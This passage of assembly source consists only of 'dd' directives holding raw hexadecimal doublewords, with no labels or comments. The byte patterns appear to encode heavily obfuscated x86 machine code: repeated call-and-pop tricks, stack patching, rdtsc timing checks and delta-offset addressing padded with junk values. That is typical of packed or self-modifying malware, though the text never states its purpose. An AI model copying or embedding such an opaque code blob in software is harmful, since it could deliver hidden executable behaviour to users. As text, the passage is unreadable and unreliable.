5EC35E20h, 4247489h, 4244481h, 14h, 7BC35646h dd 20819D03h, 880D0644h, 80000000h, 958B76F3h, 6442F5Dh dd 256652BBh, 798D8B2Dh, 3064406h, 442E599Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0B758188Bh, 50006ADDh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 69BD8B8Dh, 8306440Fh, 442CADBDh, 840F0006h, 6Bh, 0DB816657h dd 0F5F1424h, 488h, 5ABB6600h, 0B872h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66FD40C3h, 0BF629ABFh, 6D16A959h, 4E558D8Dh, 0DF800644h dd 6AE1FF34h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 5EA0C350h, 2ED66EFEh, 83F98BA6h dd 441071BDh, 840F0006h, 401h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 35C35343h, 41BD3152h, 5F064419h dd 1071BD83h, 0F010644h, 3EB84h, 17870F00h, 0E9000000h dd 12h, 0DA614D73h, 53D8FCE5h, 0E3DC2A42h, 0BC3119FEh dd 10E8629Dh, 95000000h, 90BFB804h, 268951F0h, 0D515FD23h dd 1263377h, 4429B98Dh, 0BD835F06h, 6441071h, 6F860F03h dd 66000003h, 6A60F98Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0E2A3C355h, 5E93BDCh dd 8C66EA23h, 0BD0151D9h, 6440CF1h, 4E1805Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7C35343h, 39FFAF3Eh dd 1C419D2Bh, 0C90A0644h, 0D2840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 646C59C3h dd 8166031Ch, 8BB458C7h, 440AD585h, 0B5BD8B06h, 8B064406h dd 441F35BDh, 0BD853306h, 53064403h, 66905BF9h, 9050DF8Bh dd 29198509h, 6A0644h, 0A4A2BF66h, 0B920C768h, 8E819h dd 0C58C0000h, 3B3C6822h, 6652F889h, 5F5381BBh, 2434815Fh dd 19A62338h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0EC35141h, 1BE59589h, 95FF0644h, 6440081h, 18EDBD8Bh dd 85890644h, 647B760h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 78C35646h, 0C20F760Ah, 0A2E9695Ch, 66000001h dd 0E50AEF81h, 0B758858Bh, 6A0647h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 4F3FDBC3h dd 75C3818Dh, 0F2D8A99h, 0C7D9BFh, 18h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 21C35040h, 8BFABF0Fh dd 47B75CB5h, 0CF816606h, 858B6E9Ch, 644300Dh, 4DBD2357h dd 5F06441Dh, 85890689h, 6443075h, 0AD5858Bh, 6A0644h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0C4AA35C3h, 0BD8911E8h, 644338Dh, 0FC044689h, 5BDD8A53h dd 50FE8B96h, 96F98B66h, 34DBD0Bh, 0B5FF0644h, 647B758h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 94C35040h dd 0E3477A0Ch, 0E9896E7Bh, 5, 0B3ECB12h, 7D95894Ch, 6806442Fh dd 217C8D02h, 6E8h, 87355300h, 5055E58Dh, 840F52h, 0F000000h dd 70FCBB31h, 585A52E7h, 2434815Bh, 21638EFDh, 858DF88Bh dd 647B760h, 0D75B529h, 0BB500644h, 77DED61h, 6A240489h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 517DC350h, 0EA9DB42Ch, 66609453h, 758DC681h dd 38A0Fh, 0F3800000h, 5E96130h, 0BB000000h, 4C389DA2h dd 8195FFh, 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0C3E5CBC3h, 353B0884h, 7595897Fh dd 0B7064414h, 6A616Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 8F4FD1C3h, 12E8h, 64F59C00h, 1A386BC7h dd 0C8BE4970h, 11B0416Fh, 66A1EBA0h, 9DAFF381h, 7185C75Fh dd 3064410h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0EAAFC357h, 0B5E0A3CDh dd 8AC30358h, 88F0Fh, 8A0F0000h, 2, 0BD89DE8Bh, 6441031h dd 0BBD4F781h, 0BD831D12h, 647B760h, 0B840F00h, 8B000000h dd 44259D9Dh, 1BE906h, 30500000h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 7FD12C9Ch dd 5FD93DAh, 830F60FFh, 6, 187DB589h, 81610644h, 0F037C3E7h dd 71BD830Dh, 3064410h, 43D850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0AB442DC3h dd 0BF66600Ch, 800FB876h, 3, 61C1BF0Fh, 0B760BD83h, 0F000647h dd 40284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0EFEB36E6h, 0B5FF23BBh, 647B760h dd 7E9h, 498BAA00h, 587F5FB7h, 69995FFh, 6A0644h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B58BD4C3h, 647B754h, 1820F52h, 0F8000000h, 106C75Fh dd 6A000100h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C388C350h, 0AD57EA79h, 7F40DB82h dd 0FEB70F50h, 0EE8505Fh, 97000000h, 11DDA27Bh, 2A64126Bh dd 0C7044A6Eh, 6E8CBh, 63E00000h, 448180ECh, 34895F5Fh dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 6DB9A40Eh, 2F9DB501h, 0B5FF0644h, 647B760h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0BFC35141h dd 0A397B143h, 0A3B296F2h, 9377BBDFh, 0D7817498h, 59B386FDh dd 1E0195FFh, 8D890644h, 644146Dh, 0B754B58Bh, 6A0647h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 7D4192C3h, 0E84F6EA9h, 5, 0FC026216h, 5BFA8B2Fh, 2E71858Bh dd 11E90644h, 88000000h, 0C8C283E2h, 0A1769463h, 0AB538FD6h dd 0D9A6418Dh, 207DB589h, 86890644h, 0C4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9FC35646h, 0E08E8FDBh dd 9D2BEBF6h, 6442E05h, 2F5D958Bh, 860F0644h, 6 dd 23B19D8Bh, 0C2830644h, 0AD9D0104h, 89064430h, 6A2050h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 393D80C3h, 0C05DA2FBh, 9D336FB3h, 6441829h, 0C40CD781h dd 858D5B47h, 647CAA0h, 6880Fh, 0BD290000h, 6442CB1h, 0B88689h dd 0BD8B0000h, 6442DF5h, 0BF0F006Ah, 60B5FFD9h, 660647B7h dd 0FFE791BBh, 44296D95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7048E217h dd 5E2BE477h, 5830F60h, 66000000h, 4475D181h, 860Fh, 96610000h dd 0F525056h, 85h, 50310F00h, 5A310F52h, 5F585A58h, 7E850h dd 11E0000h, 0CB42BA28h, 0CE98Eh, 0B1A00000h, 31840AF6h dd 825CAD21h, 965F32F4h, 0FFFE8B66h, 47B760B5h, 558D8906h dd 0FF06441Dh, 4417D995h, 0BBB6606h, 9E963h, 7FD30000h dd 0CDBA35ACh, 83B823F3h, 4414B5BDh, 840F0006h, 75h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 66C35040h, 5FC7D8D0h dd 0EF81660Fh, 8A0F8621h, 6, 305DB589h, 8B960644h, 0AE850DEh dd 3E000000h, 1014AFCDh, 610F6BCCh, 0E3BF6604h, 6A965F1Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0B11DC352h, 0BB654AA9h, 81AD4AE1h, 868B43C3h dd 60B5FF04h, 6A0647B7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0F83AC350h, 118D01FCh dd 0B06442Ah, 441AD9BDh, 7D95FF06h, 0BB06442Eh, 1864D96Fh dd 60B5FFF9h, 0E90647B7h, 12h, 810C515Dh, 29782F58h, 0CF9F1842h dd 2675C11Bh, 95FF0DC7h, 6441441h, 2870Fh, 0DE8A0000h dd 0A85BD83h, 0F020644h, 4784h, 599D0900h, 8B064419h, 44159185h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BFB3F7ACh, 0E90000C6h, 14h, 244F6066h dd 517CEDB9h, 85BB397Dh, 7B79121Eh, 0C44DDC3Ch, 175985C7h dd 644h, 87BF0000h, 0E927A273h, 0FFFFF414h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 9C35747h, 899D030Eh dd 8B064414h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 316DDF17h, 440D499Dh, 0E1858D06h dd 6A06441Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 4FDDC351h, 81F88A3Bh, 11819DD3h dd 8B669060h, 0DE950DEh, 0B1000000h, 728ADFFEh, 92B23FE8h dd 92685834h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0B9026165h, 0E959FE23h, 8, 0F1160144h dd 0C9C1A7F5h, 319D09F5h, 6A06441Eh, 0F9BF5600h, 5B2AD2E1h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 68088BC3h, 0F3379462h, 0FF1542Dh, 858DDBB7h dd 648D7EBh, 0F05C083h, 0F50DFBFh, 681h, 0D59D8B00h, 5B064409h dd 89FA8B50h, 0DA8B2404h, 5850Fh, 0DCBF0000h, 6A12C330h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 6A29DE87h, 3840F00h, 66000000h, 95FFDF8Bh dd 6441825h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 7BC35343h, 255FFDFDh, 76FDE95h, 0FED8D29h, 8D8D0644h dd 6479A97h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0B5C35545h, 578F9A98h, 9E98178h, 0B2000000h, 6B91DB79h dd 85C5392h, 1BE59589h, 0D1FF0644h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 3AC35040h, 81660108h, 830D0BF3h dd 442F11BDh, 850F0106h, 4Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0C6C35545h, 1FC19D8Bh, 26A0644h dd 52506050h, 0EF2748B9h, 66310F24h, 585AC88Bh, 89616BB0h dd 33F52404h, 44097DBDh, 6D95FF06h, 29064429h, 4421398Dh dd 0E9FE906h, 0E80000h, 5D000000h, 0D7F5ED81h, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DB82ADC3h, 0FCB37F40h, 4EBB66EEh, 18BB6634h, 58858DC6h dd 6A06478Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5B25C351h, 641AC4CCh, 8759589h dd 50900644h, 6E8h, 93721700h, 8A04B455h, 64905BFCh, 35FFh dd 9D330000h, 6441C49h, 258964h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 818EC356h dd 9783CD4Ah, 4DB8135h, 0E862536Ch, 0Eh, 0F51D38B4h, 2A877C5Bh dd 0BFF7FA2Fh, 0BD894019h, 6441D4Dh, 0E985FF5Bh, 89064408h dd 4408158Dh, 39BD8906h, 6A06442Fh, 52006AFFh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D7D639AEh dd 0FF989057h, 440A49B5h, 0D7816606h, 95FFE643h, 6442281h dd 12EE9h, 58BF6600h, 0E800B078h, 0Dh, 27843010h, 0DABE4B49h dd 5E86400Ch, 0FA8B6644h, 6670E65Bh, 0E44E4EBBh, 45BD8B71h dd 3C06440Eh, 0FC830F61h, 8B000000h, 441D2D9Dh, 6840F06h dd 89000000h, 4416418Dh, 0C8B60F06h, 6880Fh, 9D0B0000h dd 64406B1h, 7E9h, 7F23C800h, 6A34B7Ch, 6BAh, 3830F00h dd 0F000000h, 0C18BF9BFh, 0C1EAC780h, 8A0F04E8h, 0 dd 66E2F766h, 2BF367BBh, 8BBDB3C8h, 85BD89D1h, 0E9064408h dd 9Bh, 0EE8h, 0EADCA300h, 0D061A3DCh, 4F34D70Dh, 8B801AA8h dd 443069BDh, 858B5B06h, 4, 8505BF66h, 8907C083h, 4424098Dh dd 0C08306h, 8E9h, 0B69A7900h, 72CB3606h, 0FD03B3Fh, 1B83h dd 860F5300h, 2, 0E95F86B7h, 47h, 21718501h, 0BD2B0644h dd 644009Dh, 0FFFF8D8Bh, 0AE9FFFFh, 25000000h, 7B92ED3h dd 3E27E353h, 1E1834Fh, 1D840Fh, 81660000h, 83D5F5D7h dd 0FFFFFFA5h, 8589FEFFh, 644100Dh, 49589h, 0E90000h, 8D000000h dd 4854AFB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 7C3E828Eh, 41EABB98h, 0D6D9D01h dd 6A0644h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 3DC35242h, 4EC1D270h, 0E59D89EBh, 23064403h, 441F21BDh dd 4D95FF06h, 6A06441Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 3485C357h, 43B95C25h dd 6A00000Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 26C8C351h, 10E8h, 9BAAD200h, 3C9A3F40h dd 8E8E55CDh, 0B72874B1h, 14E874h, 9D50000h, 0AA3CE9B0h dd 24D5B0C5h, 0A1CE56CFh, 669F797Eh, 8F0FA570h, 0 dd 8D895F5Bh, 6440DE9h, 0F9952960h, 8006441Eh, 836198CEh dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 9548BDC3h, 0F88B6603h, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 894E3C6Dh dd 441D318Dh, 0B806h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0C1412EC3h, 0BA23h, 8A0F0000h dd 1Eh, 12E8h, 0B1553E00h, 0BC37B711h, 5FE6362Bh, 51BB75D4h dd 8164BC22h, 0B060AC7h, 33AD5B4Eh, 3E8D1C2h, 4E983D0h dd 8D29F475h, 6441045h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 6CC35343h, 66549C06h, 6675B7AFh, 880DDA8Bh dd 3000000h, 442D9D9Dh, 5D958B06h, 5706442Fh, 2FC1BD8Bh dd 8B5B0644h, 4406798Dh, 14E906h, 56D70000h, 0CBD97FE6h dd 0C220147Fh, 33D997F7h, 6BDA6740h, 8B504EADh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 13E9h, 896D3700h, 0F9C52D0Ah dd 0B182B305h, 5334CBA0h, 0E0D912BEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 96C35343h, 190D2AFDh, 1F4FE1A6h dd 0F38166AFh, 0BD83A7DFh, 6442CADh, 8D840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 4D3DC356h, 0D635A07Bh, 66BCB8BBh, 0B84D59BBh dd 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0BBC35343h dd 2B719D89h, 8D8D0644h, 6444E55h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0F3C35646h, 0E3EFA302h, 0C0BBC6B3h dd 0FF3B8CE0h, 9E8E1h, 3CBF0000h, 667D6CA0h, 5B13B226h dd 1071BD83h, 0F000644h, 43284h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 46A905AFh dd 0FEB70F9Eh, 1071BD83h, 0F010644h, 41D84h, 0BD83F800h dd 6441071h, 0D9860F03h, 6A000003h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5A08C352h dd 0BD33BA07h, 6441A15h, 0CB1BD8Bh, 6A600644h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 198BC350h, 97E78144h, 66353E61h, 6AD98Ch, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 676DDDC3h dd 754C6C61h, 816694C3h, 805B17DBh, 816604E1h, 0A8911CFh dd 39840FC9h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 7596C351h, 9D898655h dd 6442471h, 0AD5858Bh, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0F781E1C3h, 0CD014B4h dd 0FB30DF81h, 853326C8h, 64403BDh, 60DD8A60h, 16818D89h dd 8D890644h, 6441541h, 8D896161h, 6441C85h, 59BF6650h dd 24048933h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A1C35242h, 8580D0BEh, 24ADBD2Bh, 0BD8B0644h, 6442BA5h dd 9589006Ah, 6442D51h, 1A65BD8Bh, 0C5680644h, 51F1A42Ch dd 2404815Bh, 0E7AD73Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 47C35545h, 8B537B67h, 4406819Dh, 95FF5F06h dd 6440081h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 31C35141h, 8B0E8670h, 4407C99Dh, 60858906h, 600647B7h dd 0B05A5BB9h, 0BABB667Bh, 0BCE961BCh, 0F000001h, 680h dd 95BD8B00h, 66064408h, 51BEEB81h, 0B758858Bh, 6A0647h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 1D93FAC3h, 0ABFD2AEh, 859D3303h, 0F506442Ch, 1800C7h dd 8A0F0000h, 6, 2CFD9D89h, 0B58B0644h, 647B75Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 6AC35545h, 300D858Bh dd 0CDBF0644h, 89296CF7h, 619D8906h, 8B064424h, 440AD585h dd 89DE8A06h, 6A0446h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0B346E6C3h, 800F508Bh, 0Ah, 0DE8B5250h dd 0DE8B310Fh, 3489585Ah, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0F65BF7E6h dd 0FF546E8Ch, 47B758B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0EE21804Ch dd 95894A45h, 644309Dh, 84904668h, 0DE9B7h, 8E4A0000h dd 69995435h, 91572E89h, 8140906Fh, 73B92404h, 6A489Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 32B04CC3h, 8B66B99Fh, 60858DF8h, 660647B7h, 408EE781h dd 5020B790h, 4EFB43BBh, 8D89905Eh, 64429F1h, 8195FFh dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0E518A8C3h, 40EEA232h, 10E808h, 512E0000h dd 3935253Fh, 10F4B8C3h, 75F39FECh, 9D03A100h, 6440C39h dd 9195015Bh, 6106441Ch, 1F03BF66h, 107185C7h, 30644h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 96BE6FC3h, 5ED7D756h, 60BD836Bh, 647B7h dd 2A840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0B3F74EC3h, 0D7816674h, 1CE9ADE3h dd 0F8000000h, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 0F5C08B00h, 5DB589F9h, 83064400h, 441071BDh dd 850F0306h, 48Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0D8C35242h, 432A13E7h, 860776F2h, 0B760BD83h dd 0F000647h, 45D84h, 19BD0B00h, 0FF064424h, 47B760B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 55B501FDh, 0FF064431h, 44069995h, 49BD2306h dd 8B064419h, 47B754B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0E566FADCh, 0DCE635B0h dd 0DE8CA5Fh, 0F6000000h, 25E66C73h, 417ADE66h, 0B1465295h dd 2BE5BD8Bh, 0C75B0644h, 1000106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 63A8FE90h dd 370EFAB4h, 96FFB70Fh, 19810Fh, 0E9520000h, 12h, 58742186h dd 0B9D08DA8h, 0F070EBC1h, 9D7EDD71h, 505F1E3Ch, 11E8h dd 0C93A8700h, 20F2BDB1h, 1EB341F0h, 0C9CA3FF0h, 50535521h dd 5A310F52h, 965B5F58h, 0D5BD8B52h, 5F064433h, 0B760B5FFh dd 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0E9EB28C3h, 0FFF98B66h, 441E0195h, 0BD896006h dd 6442C31h, 6140CA80h, 269BD0Bh, 0B58B0644h, 647B754h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 70C35545h dd 896288Dh, 2E71858Bh, 0BF0F0644h, 0C48689FFh, 60000000h dd 11E9h, 46633200h, 0E42EC420h, 53170830h, 4365A233h dd 0D6819AD7h, 75BD9AD1h, 9BD8B61h, 8B064403h, 442F5D95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0F780F6E8h, 4C283FDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0F9C35545h, 897DB3E1h, 14E82050h dd 84000000h, 0BDDA4904h, 0AF79EE2Dh, 0B9301B00h, 258F58E1h dd 53861705h, 858D5B5Bh, 647CAA0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 35C35040h, 20F9E6B8h, 3A095FF1h dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 9BDC42C3h, 0BE0F2242h, 8B006A36h dd 440B219Dh, 60B5FF06h, 660647B7h, 12E9FE8Bh, 0B0000000h dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh, 6D95FF15h dd 66064429h, 11E8D98Bh, 0EA000000h, 0D061A3DCh, 4F34D70Dh dd 0EF801AA8h, 36E26D06h, 99D9BB57h, 5B5F7CFAh, 0E6B06096h dd 50616CB2h, 6A96FB8Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0A530C357h, 0BD8B0972h dd 6441A79h, 0B760B5FFh, 870F0647h, 6, 2445BD89h, 95FF0644h dd 64417D9h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0BDC35545h, 83F9FB8Bh dd 4414B5BDh, 840F0006h, 39h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0AFC35141h, 4DE17498h, 0F9BF0F77h dd 1909BD8Bh, 60500644h, 66D18B66h, 8961CA8Bh, 0CB802434h dd 60B5FF60h, 0E90647B7h, 6, 0FE9CD06Ah, 95FFBD1Ch, 6442E7Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 86C35141h dd 7C2D4B36h, 89605411h, 44098995h, 0FF61F506h, 47B760B5h dd 0BE906h, 4E8D0000h, 7CAFE59Fh, 0C0EE229Bh, 4195FFDAh dd 6A064414h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0BC2CC353h, 0C0FE784Eh, 9D8938B3h dd 6442A79h, 0A85BD83h, 0F020644h, 5884h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 3527C051h, 0FA94E743h, 858BC8EEh, 6441591h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BAC35747h, 0A2FF5264h dd 4C7A6B79h, 8C0Fh, 0C60000h, 5985C700h, 64417h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0CDAC357h, 525E8640h, 1FEF8166h, 98E95F33h dd 6AFFFFF2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0FB8AC351h, 5895E85h, 31A68F83h dd 442F2DB5h, 5E906h, 65FC0000h, 8B66CC3Dh, 53006AC1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0A20CC77h, 0D41C870Eh, 0E1858D30h, 306441Bh, 441BB1BDh dd 0F509006h, 0A85h, 4850F00h, 66000000h, 9008E0BBh, 2880Fh dd 0FD8A0000h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0FC6F8DC3h, 2711BB0Ah, 6A59E9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1CC35747h dd 0A5BD0962h, 8D06442Eh, 48E87185h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 60FC8A62h dd 261DB589h, 0BD8B0644h, 6442871h, 5C08361h, 3A44DB81h dd 0F90550Ah, 1888h, 13E900h, 0E2D50000h, 41DE2F0Eh, 42419191h dd 0F78E9C40h, 0FAA31F73h, 89905003h, 441C519Dh, 6AF806h dd 6B599FBBh, 6A006A64h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0CDABC352h, 8F0F39DAh dd 0 dd 182595FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0AEA3B3C3h, 6870Fh, 8D290000h, 64429CDh dd 9A978D8Dh, 0E3810647h, 6DD40A12h, 6AD1FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89DD3EC3h dd 442A99B5h, 359D8B06h, 8306441Eh, 442F11BDh, 850F0106h dd 6Bh, 8B0Fh, 26A0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0A2C35242h, 27551C16h, 0E6935530h, 33B1B531h dd 0BF660644h, 0F90E9CDh, 88Ah, 52505000h, 585A310Fh, 0DE8505Bh dd 76000000h, 0BA815E8Dh, 11A2E771h, 0E0BC3EC2h, 905FFE8Bh dd 0FFDE8B66h, 44296D95h, 298D8906h, 0E9064410h, 1007h dd 0E8h, 0ED815D00h, 648E87Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 9CC35242h, 128E1136h, 180A2CBBh dd 6E8576Dh, 11000000h, 43186637h, 9D9D8B98h, 5B06442Bh dd 9D89535Bh, 6441C3Dh, 53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0F1E7164Fh, 0E9E1E874h dd 0Fh, 8CA7AA96h, 48C203C9h, 0CB0BFB50h, 0E8C9A671h, 7 dd 3BA683E6h, 0F57B3E3Bh, 58858D5Fh, 0E806478Bh, 0Bh, 71C47955h dd 42C22D49h, 2316AD03h, 441F6DBDh, 50505B06h, 0FA8B752h dd 7B66031h, 5A61FA8Bh, 24048958h, 0F8DBD8Bh, 95890644h dd 6441CF1h, 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 682C355h, 19D955Ah dd 5D95892Dh, 64064410h, 2589h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6A38DBC3h dd 16DB8166h, 0B19D8B84h, 0FF06440Ah, 4408E985h, 59B58906h dd 6A06442Fh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 8E62EA22h, 2D95B589h, 0B5FF0644h dd 6440D41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 2DC35646h, 775196D3h, 252DEA8Fh, 0DEB747BBh, 